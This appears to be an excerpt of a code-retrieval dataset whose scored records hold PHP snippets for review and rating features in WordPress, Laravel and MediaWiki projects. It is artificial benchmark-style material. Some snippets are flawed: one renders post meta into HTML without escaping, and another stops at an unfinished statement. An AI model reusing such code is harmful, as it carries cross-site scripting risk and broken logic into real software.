'wp_review_hide_visitors_rating',\n\t\t\t\t\t\t'value' => $hide_visitors_rating,\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t\t?>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n\n\t<?php $hidden = in_array( $enabled, array( WP_REVIEW_REVIEW_DISABLED, WP_REVIEW_REVIEW_VISITOR_ONLY ) ) ? 'hidden' : ''; ?>\n\t<div class=\"show-if-comment <?php echo esc_attr( $hidden ); ?>\">\n\t\t<div class=\"wp-review-field\">\n\t\t\t<div class=\"wp-review-field-label\">\n\t\t\t\t<label><?php esc_html_e( 'Hide Comments Rating in Review Box', 'wp-review' ); ?></label>\n\t\t\t</div>\n\n\t\t\t<div class=\"wp-review-field-option\">\n\t\t\t\t<?php\n\t\t\t\t$form_field->render_switch(\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'id' => 'wp_review_hide_comments_total',\n\t\t\t\t\t\t'name' => 'wp_review_hide_comments_total',\n\t\t\t\t\t\t'value' => $hide_comments_total,\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t\t?>\n\t\t\t</div>\n\t\t</div>\n\n\t\t<div class=\"wp-review-field\">\n\t\t\t<div class=\"wp-review-field-label\">\n\t\t\t\t<label for=\"wp_review_comment_pros_cons\"><?php esc_html_e( 'Include Pros/Cons in comment reviews', 'wp-review' ); ?></label>\n\t\t\t</div>\n\n\t\t\t<div class=\"wp-review-field-option\">\n\t\t\t\t<select name=\"wp_review_comment_pros_cons\" id=\"wp_review_comment_pros_cons\">\n\t\t\t\t\t<option value=\"\"><?php esc_html_e( 'Use global options', 'wp-review' ); ?></option>\n\t\t\t\t\t<option value=\"yes\" <?php selected( $comment_pros_cons, 'yes' ); ?>><?php esc_html_e( 'Yes', 'wp-review' ); ?></option>\n\t\t\t\t\t<option value=\"no\" <?php selected( $comment_pros_cons, 'no' ); ?>><?php esc_html_e( 'No', 'wp-review' ); ?></option>\n\t\t\t\t</select>\n\t\t\t</div>\n\t\t</div>\n\t\t<?php if ( 'product' === $post->post_type ) { ?>\n\t\t\t<div class=\"wp-review-field\">\n\t\t\t\t<div class=\"wp-review-field-label\">\n\t\t\t\t\t<label for=\"wp_review_comment_image\"><?php esc_html_e( 'Include Image in comment reviews', 'wp-review' ); ?></label>\n\t\t\t\t</div>\n\n\t\t\t\t<div class=\"wp-review-field-option\">\n\t\t\t\t\t<select name=\"wp_review_comment_image\" id=\"wp_review_comment_image\">\n\t\t\t\t\t\t<option value=\"yes\" <?php selected( $comment_image, 'yes' ); ?>><?php esc_html_e( 'Yes', 'wp-review' ); ?></option>\n\t\t\t\t\t\t<option value=\"no\" <?php selected( $comment_image, 'no' ); ?>><?php esc_html_e( 'No', 'wp-review' ); ?></option>\n\t\t\t\t\t</select>\n\t\t\t\t</div>\n\t\t\t</div>\n\n\t\t\t<div class=\"wp-review-field\">\n\t\t\t\t<div class=\"wp-review-field-label\">\n\t\t\t\t\t<label for=\"wp_review_comment_product_desc\"><?php esc_html_e( 'Product Matches the Description', 'wp-review' ); ?></label>\n\t\t\t\t</div>\n\n\t\t\t\t<div class=\"wp-review-field-option\">\n\t\t\t\t\t<select name=\"wp_review_comment_product_desc\" id=\"wp_review_comment_product_desc\">\n\t\t\t\t\t\t<option value=\"yes\" <?php selected( $comment_matches, 'yes' ); ?>><?php esc_html_e( 'Yes', 'wp-review' ); ?></option>\n\t\t\t\t\t\t<option value=\"no\" <?php selected( $comment_matches, 'no' ); ?>><?php esc_html_e( 'No', 'wp-review' ); ?></option>\n\t\t\t\t\t</select>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t<?php } ?>\n\t</div>\n\t<div class=\"wp-review-field\">\n\t\t<div class=\"wp-review-field-label\">\n\t\t\t<label for=\"wp_review_product_price\"><?php esc_html_e( 'Product Price', 'wp-review' ); ?></label>\n\t\t</div>\n\n\t\t<div class=\"wp-review-field-option\">\n\t\t\t<input type=\"text\" name=\"wp_review_product_price\" id=\"wp_review_product_price\" value=\"<?php echo esc_attr( $product_price ); ?>\">\n\t\t</div>\n\t</div>\n\n\t<div class=\"wp-review-field\">\n\t\t<div class=\"wp-review-field-label\">\n\t\t\t<label for=\"wp_review_allow_comment_feedback\"><?php esc_html_e( 'Comment Feedback (helpful/unhelpful)', 'wp-review' ); ?></label>\n\t\t</div>\n\n\t\t<div class=\"wp-review-field-option\">\n\t\t\t<select name=\"wp_review_allow_comment_feedback\" id=\"wp_review_allow_comment_feedback\" value=\"<?php echo esc_attr( $allow_comment_feedback ); ?>\">\n\t\t\t\t<option value=\"\"><?php esc_html_e( 'Use global options', 'wp-review' ); ?></option>\n\t\t\t\t<option value=\"yes\" <?php selected( $allow_comment_feedback, 'yes' ); ?>><?php esc_html_e( 'Yes', 'wp-review' ); ?></option>\n\t\t\t\t<option value=\"no\" <?php selected( $allow_comment_feedback, 'no' ); ?>><?php esc_html_e( 'No', 'wp-review' ); ?></option>\n\t\t\t</select>\n\t\t</div>\n\t</div>\n\n\t<?php if ( current_user_can( 'wp_review_purge_visitor_ratings' ) ) { ?>\n\t\t<p style=\"margin-top: 50px;\">\n\t\t\t<button\n\t\t\t\ttype=\"button\"\n\t\t\t\tclass=\"button\"\n\t\t\t\tdata-remove-ratings\n\t\t\t\tdata-type=\"visitor\"\n\t\t\t\tdata-processing-text=\"<?php esc_attr_e( 'Processing...', 'wp-review' ); ?>\"\n\t\t\t\tdata-post-id=\"<?php echo intval( $post->ID ); ?>\"\n\t\t\t><?php esc_html_e( 'Purge visitor ratings', 'wp-review' ); ?></button>\n\t\t\t<span class=\"description\"><?php esc_html_e( 'Click to remove all visitor ratings of this post.', 'wp-review' ); ?></span>\n\t\t</p>\n\t<?php } ?>\n\n\t<?php if ( current_user_can( 'wp_review_purge_comment_ratings' ) ) { ?>\n\t\t<p>\n\t\t\t<button\n\t\t\t\ttype=\"button\"\n\t\t\t\tclass=\"button\"\n\t\t\t\tdata-remove-ratings\n\t\t\t\tdata-type=\"comment\"\n\t\t\t\tdata-processing-text=\"<?php esc_attr_e( 'Processing...', 'wp-review' ); ?>\"\n\t\t\t\tdata-post-id=\"<?php echo intval( $post->ID ); ?>\"\n\t\t\t><?php esc_html_e( 'Purge comment ratings', 'wp-review' ); ?></button>\n\t\t\t<span class=\"description\"><?php esc_html_e( 'Click to remove all comment ratings of this post.', 'wp-review' ); ?></span>\n\t\t</p>\n\t<?php } ?>\n\t<?php\n}", "title": "" }, { "docid": "a7cb428b57529adf6829fb34a5e754cf", "score": "0.4655504", "text": "public static function afficherRatingDesJeuxQuiContiennentLeMotMario(){\n $games=Game::contenirNom(\"Mario\");\n foreach ($games as $g) {\n $rat=$g->ratings;\n echo \"\\n\".\"\\n\";\n echo $g->name . \"\\n\";\n foreach ($rat as $r) {\n\t\techo $r->name. \"\\n\"; //nom de game_rating\n $rating_board= $r->rating_boards()->get();\n foreach ($rating_board as $rt) {\n echo $rt->name . \" \".$rt->deck. \"\\n\"; //nom de rating board + deck\n }\n\n }\n }\n }", "title": "" }, { "docid": "bb5b45657b52ad63c9ea2b2ef2ac8cd7", "score": "0.4630567", "text": "function save_comment_criteria_raitings($comment_id) {\n\tif((isset($_POST['user_criteria'])) && ($_POST['user_criteria'] != '')) { // if we got user ratings\n\t\t$userCriteria = $_POST['user_criteria']; $commentTotal = ''; // put user ratings in array\n\t\tfor($i = 0; $i < count($userCriteria); $i++) { // get sum of ratings\n\t\t\t$commentTotal += $userCriteria[$i];\n\t\t};\n\t\tif($commentTotal == 0 || $commentTotal =='') { // if sum = 0\n\t\t\treturn false; \n\t\t}\n\t\telse { // if user set ratings\n\t\t\t$commentData = array();\n\t\t\t$criteriaNamesSerialized = sanitize_text_field($_POST['criteria_names']); // get array of criteria names\n\t\t\t$criteriaNames = explode(',', $criteriaNamesSerialized);\n\t\t\tfor($i = 0; $i < count($userCriteria); $i++) {\n\t\t\t\t$commentData[$i]['name'] = $criteriaNames[$i]; // put name of criteria in variable\n\t\t\t\t$commentData[$i]['value'] = $userCriteria[$i]; // put criteria value in variable\n\t\t\t};\n\t\t\t$commentAverage = bcdiv($commentTotal, count($commentData), 1); // get average of comment ratings\n\t\t};\n\t\t$cons_review_clean = wp_kses($_POST['cons_review'], 'default'); // get cons value\n\t\t$pros_review_clean = wp_kses($_POST['pros_review'], 'default'); // get pros value\n\t\tupdate_comment_meta($comment_id, 'cons_review', $cons_review_clean); // put cons in meta field\n\t\tupdate_comment_meta($comment_id, 'pros_review', $pros_review_clean); // put pros in meta field\n\t\tupdate_comment_meta($comment_id, 'user_criteria', $commentData); // put array of user ratings in meta field\n\t\tupdate_comment_meta($comment_id, 'user_average', $commentAverage); // put average of ratings in meta field\n\t\tupdate_comment_meta($comment_id, 'counted', 0); // set flag approve or not user review\n\n\t\t/* Prevent duplicate vote */\n\t\t$current_user_id = get_current_user_id(); // get user ID\n\t\tif($current_user_id) { // if register\n\t\t\t$comment = get_comment($comment_id);\n\t\t\t$current_post_id = $comment->comment_post_ID; // get post ID\n\t\t\t$rated_posts_meta = get_user_meta($current_user_id , 'rated_posts', true); // get array of reviewed posts of user\n\t\t\tif(!$rated_posts_meta || $rated_posts_meta == '') { // if array not exist\n\t\t\t\t$rated_posts_meta = array($current_post_id); // create array\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$rated_posts_meta[] = $current_post_id; // put ID of reviewed post in array of reviewed posts\n\t\t\t};\n\t\t\tupdate_user_meta($current_user_id , 'rated_posts', $rated_posts_meta); // update user meta field\n\t\t}\n\t\telse { // if user is not register\n\t\t\t$domainArray = explode('://', home_url());\n\t\t\t$clearDomain = $domainArray[1]; // get site domain\n\t\t\t$comment = get_comment($comment_id);\n\t\t\t$current_post_id = $comment->comment_post_ID; // get post ID\t\t\t\n\t\t\t$clearLink = str_replace(home_url(), '', get_permalink($current_post_id)); // get post URL\n\t\t\tsetcookie('rated_posts', 1, time()+60*60*24*366, $clearLink, $clearDomain, false); // put cookie that user reviewed this post\n\t\t};\n\t};\n}", "title": "" }, { "docid": "172f03ab29b81689ba8a9cf0cd88578a", "score": "0.4625143", "text": "function revReplyRequest($id, $confirmCode, $answer,$user_id) {\n $paper = Paper::where('id',$id)->orderBy('revisionNumber','DESC') ->first();\n $user = auth()->user();\n if($user->id != $user_id) {\n return view('error',['msg'=>'You do not appear to be assigned as a reviewer of this paper. You are '.\n 'currently logged in as '.$user->email.'. Do you perhaps have another account on JCSE? If so try '.\n 'logging in with the other account.']);\n }\n $revs = $paper->reviews;\n //dd($revs);\n foreach ($revs as $rev) {\n if($rev->user_id == $user_id) {\n // test for rejection of the request\n if ($answer == 'reject') {\n $rev->agreed = 0;\n $rev->log .= now() . ' reviewer rejected request';\n $rev->save();\n // mail editor to ask for a new reviewer\n $mailer =\n // dd($rev); // just as a reminder that I need to do the following\n // acknowledge rejection and offer to modify preferences\n $data = ['prefsLink' => route('myjrnlPreferences')];\n return view('review.ackRevReject', $data);\n }\n\n if ($paper->confirmCode <> $confirmCode) {\n return view('error', ['msg' => 'Incorrect confirmation code']);\n }\n if ($answer == 'accept') {\n // reviewer has accepted the request\n // record the acceptance\n $rev = Review::where('paper_id', $id)->where('user_id', $user->id)->first();\n $rev->agreed = 1;\n $rev->dateResponded = now();\n $rev->save();\n // redirect link to review instructions (also accessible from myJrnl)\n $reviewAdvice = route('reviewAdvice');\n // link to review page\n $reviewLink = route('reviewPaper', ['id' => $id, 'confirmCode' => $confirmCode]);\n // redirect link to preferences (also accessible from myJrnl)\n $myJrnlLink = route('myJrnl');\n $data = ['id' => $id, 'confirmCode' => $confirmCode, 'shortName' => config('jrnl.shortName'),\n 'shortName' => config('jrnl.shortName'), 'vol' => $paper->volume, 'pap' => $paper->paperNumber,\n 'myJrnlLink' => $myJrnlLink, 'reviewLink' => $reviewLink, 'reviewAdvice' => $reviewAdvice,\n 'viewPaperLink'=>route('viewPaper',['vol'=>$paper->volume,'pap'=>$paper->paperNumber])];\n //dd($data);\n return view('review.revAccept', ['data' => $data]);\n }\n }\n }\n }", "title": "" }, { "docid": "112ecf425757895e966c96093135172f", "score": "0.4607266", "text": "public function review_check(){\n\t\t$notif = $_GET['notif_id'];\n\t\t\n\t\t//GET WHOLE NOTIFICATION DETAILS\n\t\t$not = $this->hiremetrodbase->get_notification_detail($notif);\n\t\t\n\t\t//GET ASSOCIATE\n\t\t$associate = $not[0]['associate'];\n\t\t\n\t\t//CHECK ASSOCIATE \n\t\t\n\t\t\n\t}", "title": "" }, { "docid": "cd248b6a8b55fe108e20a2f8ab448506", "score": "0.46037728", "text": "function techrev_review_box($post_id) {\n $tech_rev = get_post_meta( $post_id, '_tech_rev', true);\n\n if (!empty($tech_rev['name'])) {\n\n\t echo '\n\t\t <div class=\"revsc\"> <!-- Start Scorecard Content Div -->\n\t\t <div class=\"revsc-content\"> <!--Scorecard Header -->\n\t\t <h2>Review at a Glance</h2> <!-- Product Information -->\n\t\t <div id=\"prodinfo\">\n\t\t <ul>\n\t\t <li><strong>' . $tech_rev['type'] . ' Name:</strong> ' . $tech_rev['name'] . '</li>\n\t\t <li><strong>Company:</strong> ' . $tech_rev['pub'] . '</li>\n\t\t <li><strong>Price:</strong> ' . $tech_rev['price'] . '</li>\n\t\t </ul>\n\t\t </div>\n\t\t <div id=\"prodpro\"> <!-- Product Pros and Cons -->\n\t\t <h3>The Good</h3>\n\t\t <ul>';\n\n\t \t\tif ($tech_rev['pro1'])\n\t \t\techo '<li>' . $tech_rev['pro1'] . '</li>';\n\n\t if ($tech_rev['pro2'])\n\t \t\techo '<li>' . $tech_rev['pro2'] . '</li>';\n\n\t if ($tech_rev['pro3'])\n\t \t\techo '<li>' . $tech_rev['pro3'] . '</li>';\n\n\t echo '</ul>\n\t </div>\n\n\t <div id=\"prodcon\">\n\t\t <h3>The Bad</h3>\n\n\t\t <ul>';\n\t\t \n\t\t if ($tech_rev['con1'])\n\t\t \techo '<li>' . $tech_rev['con1'] . '</li>';\n\t \n\t if ($tech_rev['con2'])\n\t \t\techo '<li>' . $tech_rev['con2'] . '</li>';\n\n\t if ($tech_rev['con3']) \n\t echo '<li>' . $tech_rev['con3'] . '</li>';\n\n\t echo '</ul>\n\t </div>';\n\t \n\t if ($tech_rev['revfin']) {\n\n \techo '\n \t\t <div id=\"prodcon\"> <!-- Product Final Verdict -->\n \t\t <h3>Bottom Line</h3>\n \t\t <p>' . $tech_rev['revfin'] . '</p>\n \t\t </div>';\n\t\t\t \n\t }\n\n\t echo '\n \t <div id=\"rating\"> <!-- Product Rating -->\n \t <span class=\"rate\">Rating:</span>\n \t <div class=\"review-stars rate' . $tech_rev['rate'] . '\">\n \t <span class=\"rating\">' . $tech_rev['rate'] . '</span>\n \t </div>\n \t </div>';\n\t \n\t if ($tech_rev['img']) {\n\t\t echo '\n\t\t <div id=\"prodimg\"> <!-- Product Image -->\n\t\t <img src=\"' . $tech_rev['img'] . '\" alt=\"Review of ' . $tech_rev['name'] . '\" title=\"Review of ' . $tech_rev['name'] . '\" width=\"270\" height=\"140\" />\n\t\t </div>';\n\n\t }\n\t echo ' \n\t </div>\n\t </div>'; \n\n }\n}", "title": "" }, { "docid": "062f95c6dacb69a98e5ab2fc3e2a547d", "score": "0.45816502", "text": "public function help_moderation() {\n\n\t\t$help = sprintf(\n\t\t\t'<h3>%1s</h3>',\n\t\t\t__( 'Discussion Moderation' )\n\t\t);\n\n\t\t$help .= sprintf(\n\t\t\t'<p>%1s</p>',\n\t\t\t__( 'A red bar on the left means the comment is waiting for you to moderate it.' )\n\t\t);\n\n\t\t$help .= sprintf(\n\t\t\t'<p>%1s</p>',\n\t\t\t__( 'In the <strong>Author</strong> column, in addition to the author&#8217;s name, email address, and blog URL, the commenter&#8217;s IP address is shown. Clicking on this link will show you all the comments made from this IP address.' )\n\t\t);\n\n\t\t$help .= sprintf(\n\t\t\t'<p>%1s</p>',\n\t\t\t__( 'In the <strong>Comment</strong> column, hovering over any comment gives you options to approve, reply (and approve), quick edit, edit, spam mark, or trash that comment.' )\n\t\t);\n\n\t\t$help .= sprintf(\n\t\t\t'<p>%1s</p>',\n\t\t\t__( 'In the <strong>In Response To</strong> column, there are three elements. The text is the name of the post that inspired the comment, and links to the post editor for that entry. The View Post link leads to that post on your live site. The small bubble with the number in it shows the number of approved comments that post has received. If there are pending comments, a red notification circle with the number of pending comments is displayed. Clicking the notification circle will filter the comments screen to show only pending comments on that post.' )\n\t\t);\n\n\t\t$help .= sprintf(\n\t\t\t'<p>%1s</p>',\n\t\t\t__( 'In the <strong>Submitted On</strong> column, the date and time the comment was left on your site appears. Clicking on the date/time link will take you to that comment on your live site.' )\n\t\t);\n\n\t\t$help .= sprintf(\n\t\t\t'<p>%1s</p>',\n\t\t\t__( 'Many people take advantage of keyboard shortcuts to moderate their comments more quickly. Use the link to the side to learn more.' )\n\t\t);\n\n\t\techo apply_filters( 'help_discussion_moderation', $help );\n\t}", "title": "" }, { "docid": "5fd4cfcc63f032c1d01d738c5ce55c74", "score": "0.457407", "text": "public function execute() {\n\t\tglobal $wgUser;\n\t\t$params = $this->extractRequestParams();\n\t\t// Check basic permissions\n\t\tif ( !$wgUser->isAllowed( 'review' ) ) {\n\t\t\t$this->dieUsage( \"You don't have the right to review revisions.\",\n\t\t\t\t'permissiondenied' );\n\t\t} elseif ( $wgUser->isBlocked( false ) ) {\n\t\t\t$this->dieUsageMsg( array( 'blockedtext' ) );\n\t\t}\n\n\t\t$newRev = Revision::newFromId( $params['oldid'] );\n\t\tif ( !$newRev || !$newRev->getTitle() ) {\n\t\t\t$this->dieUsage( \"Cannot find a revision with the specified ID.\", 'notarget' );\n\t\t}\n\t\t$title = $newRev->getTitle();\n\n\t\t$fa = FlaggableWikiPage::getTitleInstance( $title );\n\t\tif ( !$fa->isReviewable() ) {\n\t\t\t$this->dieUsage( \"Provided page is not reviewable.\", 'notreviewable' );\n\t\t}\n\n\t\t$status = false;\n\t\tif ( $params['previd'] ) { // changes\n\t\t\t$oldRev = Revision::newFromId( $params['previd'] );\n\t\t\tif ( !$oldRev || $oldRev->getPage() != $newRev->getPage() ) {\n\t\t\t\t$this->dieUsage( \"Revisions do not belong to the same page.\", 'notarget' );\n\t\t\t}\n\t\t\t// Mark as reviewing...\n\t\t\tif ( $params['reviewing'] ) {\n\t\t\t\t$status = FRUserActivity::setUserReviewingDiff(\n\t\t\t\t\t$wgUser, $params['previd'], $params['oldid'] );\n\t\t\t// Unmark as reviewing...\n\t\t\t} else {\n\t\t\t\t$status = FRUserActivity::clearUserReviewingDiff(\n\t\t\t\t\t$wgUser, $params['previd'], $params['oldid'] );\n\t\t\t}\n\t\t} else {\n\t\t\t// Mark as reviewing...\n\t\t\tif ( $params['reviewing'] ) {\n\t\t\t\t$status = FRUserActivity::setUserReviewingPage( $wgUser, $newRev->getPage() );\n\t\t\t// Unmark as reviewing...\n\t\t\t} else {\n\t\t\t\t$status = FRUserActivity::clearUserReviewingPage( $wgUser, $newRev->getPage() );\n\t\t\t}\n\t\t}\n\n\t\t# Success in setting flag...\n\t\tif ( $status === true ) {\n\t\t\t$this->getResult()->addValue(\n\t\t\t\tnull, $this->getModuleName(), array( 'result' => 'Success' ) );\n\t\t# Failure...\n\t\t} else {\n\t\t\t$this->getResult()->addValue(\n\t\t\t\tnull, $this->getModuleName(), array( 'result' => 'Failure' ) );\n\t\t}\n\t}", "title": "" }, { "docid": "45530a54ad9c6760b8a952b29e148f7f", "score": "0.45736527", "text": "public function getReviewed(): bool\n {\n return $this->reviewed;\n }", "title": "" }, { "docid": "2d05e4a139e2f3e97de382991ba40f47", "score": "0.45591727", "text": "function get_reviews_info($parm=false)\n{\n\t\n\tif( !is_array($parm) ) {\n\t\t$ci = &get_instance();\n\t\t$material = $parm;\n\t\t$reviews = $ci->mreviews->get_all_by('material', $material);\n\t} else {\n\t\t$reviews = $parm;\n\t}\n\t\n\tif(empty($reviews)) {\n\t\t$data = array();\t\n\t\t$data['count_reviews'] = 0;\n\t\t$data['nombre_calificaciones'] = 'Sin calificar';\n\t\t$data['calificaciones'] = false;\n\t\t$data['porcentajes'] = false;\n\t\t$data['calificacion_promedio'] = array('calificacion'=>0, 'calificacion_nombre'=>'Sin calificar');\t\n\t\treturn $data;\n\t}\n\t\n\t$calificaciones = array(\n\t\t\t0=>'Sin calificar',\n\t\t\t1=>'Malo',\n\t\t\t2=>'Regular',\n\t\t\t3=>'Bueno',\n\t\t\t4=>'Muy Bueno',\n\t\t\t5=>'Excelente'\n\t);\n\t\n\t/*\n\t * Declaramos el arreglo de las calificaciones promedio, cada calificacion comienza en 0%\n\t * */\n\t$calificaciones_promedio = array(\n\t\t1=>0,\n\t\t2=>0,\n\t\t3=>0,\n\t\t4=>0,\n\t\t5=>0\n\t);\n\t\t\n\t/*\n\t * Inicializamos el contador de calificaciones\n\t * */\n\t$count = array();\n\t\t\n\t/*\n\t * Promedio lo declaramos falso\n\t * */\n\t$promedio = false;\n\t\t\n\t/*\n\t * El numero total de calificaciones\n\t * */\n\t$n = 0;\n\t\t\n\t/*\n\t * Recorremos las calificaciones y asignamos a count, el indice de la calificacion, por ejemplo\n\t* Malo, Regular, Bueno...\n\t * */\n\tforeach($calificaciones as $c) {\n\t\t$count[$c] = 0;\n\t}\n\t\t\n\t/*\n\t * Si hay reviews, recoerremos cada review e incrementamos su calificacion de acuerdo a su indice\n\t * */\n\tif(@$reviews) {\n\t\tforeach(@$reviews as $review) {\n\t\t\t@$count[$calificaciones[$review->calificacion]] +=1;\n\t\t\t$calificaciones_promedio[$review->calificacion] += 1;\n\t\t\t$n += 1;\n\t\t} \n\t}\n\t\t\n\t/*\n\t* Declaramos la variable temporal sum, para calcular promedios\n\t * */\n $sum = 0;\n\t$frecuencias = 0;\n\t/*\n\t * Recorremos el arreglo calificaciones_promedio, y sumamos la calificacion de acuerdo a su indice\n\t * \n\t * Por ejemplo, Malo = 1, Regular = 2, Bueno = 3.\n\t * \n\t * Si alguien voto 2 malos y uno regular la suma seria: 1+1+2.\n\t * */\n\t//ppr($calificaciones_promedio);\n //aa otra es que saques un promedio con frecuencias :$$$ es (7x1+1x2+2x3+5x4+1x5)/16 que es la suma de las frecuencias :$$$$ o sea del 7 1 2 5 1 :$$\n\tforeach($calificaciones_promedio as $key => $value) {\n\t $sum += ($key * $value);\n\t\t$frecuencias += $value;\n\t}\n\t//ppr($sum/5);\n\t//exit;\n\t\t\n\t/*\n\t * Redondeamos el promedio\n\t * */\n\t$calificacion_promedio = (int) (round($sum / $frecuencias, 2));\n\tif ($calificacion_promedio > 5) $calificacion_promedio = 5;\n\t\t\n\t/*\n\t * Declaramos el promedio total del producto y generamos un arreglo\n\t * */\n\t$promedio = array(\n\t\t'calificacion' => $calificacion_promedio,\n\t\t'nombre_calificacion' => $calificaciones[$calificacion_promedio]\n\t);\n\t\t\n\t\t\n\tforeach($count as $key => $c) {\n\t\tif($n==0) {\n\t\t\t$porcentajes[$key] = 0;\n\t\t} else {\n\t\t\t$porcentajes[$key] = ($c/$n) * 100;\n\t\t}\n\t\t\t\n\t\t$porcentajes[$key] = round($porcentajes[$key], 2);\n\t}\n\t\n\t$data = array();\t\n\t$data['count_reviews'] = $n;\n\t$data['nombre_calificaciones'] = $calificaciones;\n\t$data['calificaciones'] = $count;\n\t$data['porcentajes'] = $porcentajes;\n\t$data['calificacion_promedio'] = $promedio;\t\n\treturn $data;\n\t\t\n}", "title": "" }, { "docid": "1744a6b3e681d3446065ccdee5d2040e", "score": "0.45584247", "text": "public function testWhenAllVotesArePositivesAndHasDrawTiebreakerByOrganizer()\n {\n $restaurants = array(\n 'Japo' => array( 'shushi', 'salmon', 'arroz' ),\n 'Pizzeria 1' => array( 'italiana', 'pasta', 'bacon', 'jamon' ),\n 'Pizzeria 2' => array( 'argentina', 'jamon', 'piña' )\n\n );\n $choice = array(\n 'User 2' => array( 'shushi' => 1, 'salmon' => 1 ),\n 'User 1' => array( 'italiana' => 1, 'pasta' => 1 )\n );\n $organizer = 'User 1';\n\n $this->assertEquals( 'Pizzeria 1', $this->obj->getRestaurant( $restaurants, $choice, $organizer ),\n 'Test than when exists votes, and there are draw, should return the restaurant with more votes positives from organizer' );\n }", "title": "" }, { "docid": "2435f3e10be10d4798de0b46caae98e8", "score": "0.45574138", "text": "function mkdf_tours_reviews_get_criteria($main_only = false) {\n\t\tglobal $wpdb;\n\t\t\n\t\tif(mkdf_tours_is_wpml_installed()) {\n\t\t\t$lang = ICL_LANGUAGE_CODE;\n\t\t\t\n\t\t\t$sql = \"SELECT t.term_id AS id, \n\t\t\t\t\t \t t.slug AS slug, \n\t\t\t\t\t \t t.name AS name \n\t\t\t\t FROM {$wpdb->prefix}terms t\n\t\t\t\t LEFT JOIN {$wpdb->prefix}term_taxonomy tt ON tt.term_id = t.term_id\n\t\t\t\t LEFT JOIN {$wpdb->prefix}icl_translations icl_t ON icl_t.element_id = t.term_id\n\t\t\t\t WHERE icl_t.element_type = 'tax_review-criteria'\n\t\t\t\t AND icl_t.language_code='$lang'\n\t\t\t\t ORDER BY name ASC\";\n\t\t} else {\n\t\t\t$sql = \"SELECT t.term_id AS id, \n\t\t\t\t\t \t t.slug AS slug, \n\t\t\t\t\t \t t.name AS name \n\t\t\t\t FROM {$wpdb->prefix}terms t\n\t\t\t\t LEFT JOIN {$wpdb->prefix}term_taxonomy tt ON tt.term_id = t.term_id\n\t\t\t\t WHERE tt.taxonomy = 'review-criteria'\n\t\t\t\t ORDER BY name ASC\";\n\t\t}\n\t\t\n\t\t$review_criteria = $wpdb->get_results($sql);\n\n\t\t$final_criteria = array();\n\t\t\n\t\tif(!empty($review_criteria)) {\n\t\t\tforeach($review_criteria as $review_criterion) {\n\t\t\t\t$temp_criterion = (array) $review_criterion;\n\t\t\t\t$term_meta = get_option(\"taxonomy_term_\".$temp_criterion['id']);\n\t\t\t\t$temp_criterion['main'] = (isset($term_meta['main_criterion']) && $term_meta['main_criterion'] == 'yes') ? true : false;\n\t\t\t\t$temp_criterion['order'] = isset($term_meta['criteria_order']) ? (int) $term_meta['criteria_order'] : PHP_INT_MAX;\n\t\t\t\t$add_criterion = true;\n\t\t\t\tif($main_only && !$temp_criterion['main']) {\n\t\t\t\t\t$add_criterion = false;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif($add_criterion) {\n\t\t\t\t\t$final_criteria[] = (object) $temp_criterion;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tfor($i = 0; $i < count($final_criteria) - 1; $i++) {\n\t\t\t\tfor($j = $i + 1; $j < count($final_criteria); $j++) {\n\t\t\t\t\tif($final_criteria[$i]->order > $final_criteria[$j]->order) {\n\t\t\t\t\t\t$temp = $final_criteria[$i];\n\t\t\t\t\t\t$final_criteria[$i] = $final_criteria[$j];\n\t\t\t\t\t\t$final_criteria[$j] = $temp;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $final_criteria;\n\t}", "title": "" }, { "docid": "e895694a6baae5a66aef97b4f3a6f5fa", "score": "0.45463765", "text": "function _assignEditorDecisionActions(&$request, $decisionsCallback, $additionalArgs = array()) {\n\t\t// Prepare the action arguments.\n\t\t$monograph =& $this->getAuthorizedContextObject(ASSOC_TYPE_MONOGRAPH);\n\t\t$stageId = $this->getAuthorizedContextObject(ASSOC_TYPE_WORKFLOW_STAGE);\n\t\t$actionArgs = array('monographId' => $monograph->getId(), 'stageId' => $stageId);\n\t\t$actionArgs = array_merge($actionArgs, $additionalArgs);\n\n\t\t// Retrieve the editor decisions.\n\t\t$decisions = call_user_func(array($this, $decisionsCallback));\n\n\t\t// Iterate through the editor decisions and create a link action for each decision.\n\t\t$dispatcher =& $this->getDispatcher();\n\t\tforeach($decisions as $decision => $action) {\n\t\t\t$actionArgs['decision'] = $decision;\n\t\t\t$editorActions[] = new LinkAction(\n\t\t\t\t$action['name'],\n\t\t\t\tnew AjaxModal(\n\t\t\t\t\t$dispatcher->url(\n\t\t\t\t\t\t$request, ROUTE_COMPONENT, null,\n\t\t\t\t\t\t'modals.editorDecision.EditorDecisionHandler',\n\t\t\t\t\t\t$action['operation'], null, $actionArgs\n\t\t\t\t\t),\n\t\t\t\t\t__($action['title'])\n\t\t\t\t),\n\t\t\t\t__($action['title']),\n\t\t\t\t(isset($action['image']) ? $action['image'] : null)\n\t\t\t);\n\t\t}\n\t\t// Assign the actions to the template.\n\t\t$templateMgr =& TemplateManager::getManager();\n\t\t$templateMgr->assign('editorActions', $editorActions);\n\t}", "title": "" }, { "docid": "2a9d62467f989653583348ade62f53b8", "score": "0.4535251", "text": "public function getAllReview()\n {\n $review = DB::table('review')\n ->orderBy('id', 'desc')\n ->get();\n\n return $review;\n }", "title": "" }, { "docid": "c3b855cde38a02724c7fc2c2e945b11b", "score": "0.4535079", "text": "public function ratingsAction()\n\t{\n\t\t// this doubles as auth\n\t\t$id = $this->_feedbackModel->getFeedbackId();\n\t\t$this->view->defaults = $this->_feedbackModel->getPresentationRatings($id);\n\t}", "title": "" }, { "docid": "60c609bc70f6ebaf68298e21e3993f76", "score": "0.4532155", "text": "function getReviewRevision() {\n\t\treturn $this->getData('reviewRevision');\n\t}", "title": "" }, { "docid": "af32fb05a7b8b9a1d7d18f1d6055927d", "score": "0.45246658", "text": "function fetch_pr_data( $repo, $pr ) {\n\t$url = '/repos/' . $repo . '/pulls/' . intval( $pr );\n\t$data = api_request( $url );\n\n\t// Error time..\n\tif ( ! $data || empty( $data->number ) ) {\n\t\treturn false;\n\t}\n\n\t// Get Travis CI State.\n\t$check_runs = [];\n\t$raw_check_runs = api_request(\n\t\t'/repos/' . $repo . '/commits/' . $data->head->sha . 